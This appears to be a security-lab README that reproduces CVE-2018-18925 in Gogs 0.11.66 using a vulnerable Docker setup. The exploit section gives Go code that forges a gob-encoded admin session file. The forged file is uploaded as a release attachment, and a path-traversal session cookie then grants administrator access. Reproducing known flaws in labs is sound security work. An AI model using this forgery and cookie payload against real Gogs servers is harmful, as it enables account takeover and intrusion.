# Gogs Session Overwrite and Arbitrary User Forge (CVE-2018-18925)

[中文版本(Chinese version)](README.zh-cn.md)

Gogs is a painless self-hosted Git service.

Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a `..` session-file forgery in the file session provider in file.go. This is related to session ID handling in the go-macaron/session code for Macaron.

References:

- <https://github.com/gogs/gogs/issues/5469>
- <https://xz.aliyun.com/t/3168>
- <https://www.anquanke.com/post/id/163575>

## Vulnerable environment

Execute following command to start a Gogs server 0.11.66:

```
docker compose up -d
```

After the server is started, you can see the installation page on `http://your-ip:3000`. Follow the instructions to initialize the application, keep in mind that use SQLite as the database provider and enable the user register.

Restart the server by `docker compose restart` after the installation, otherwise the session won't be stored in the filesystem.

## Exploit

Before the exploit, use Gob to generate a evil session file:

```go
package main

import (
    "bytes"
    "encoding/gob"
    "encoding/hex"
    "fmt"
    "io/ioutil"
    "os"
)

func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
    for _, v := range obj {
        gob.Register(v)
    }
    buf := bytes.NewBuffer(nil)
    err := gob.NewEncoder(buf).Encode(obj)
    return buf.Bytes(), err
}

func main() {
    var uid int64 = 1
    obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "root"}
    data, err := EncodeGob(obj)
    if err != nil {
        fmt.Println(err)
    }
    err = ioutil.WriteFile("data", data, os.O_CREATE|os.O_WRONLY)
    if err != nil {
        fmt.Println(err)
    }
    edata := hex.EncodeToString(data)
    fmt.Println(edata)
}
```

Sign up a normal user account, then create a project and upload the generated evil file on release page:

![](1.png)

Get the aboslute file path from the attachment URL, for example `./attachments/2eb7f1a2-b5ec-482e-a297-15b625d24a10`.

Finally, construct a malicious session id like `i_like_gogits=../attachments/2/e/2eb7f1a2-b5ec-482e-a297-15b625d24a10` and you can see that you are administrator (uid=1) now:

![](2.png)

To execte commands as the administrator role, please refer to the reference links.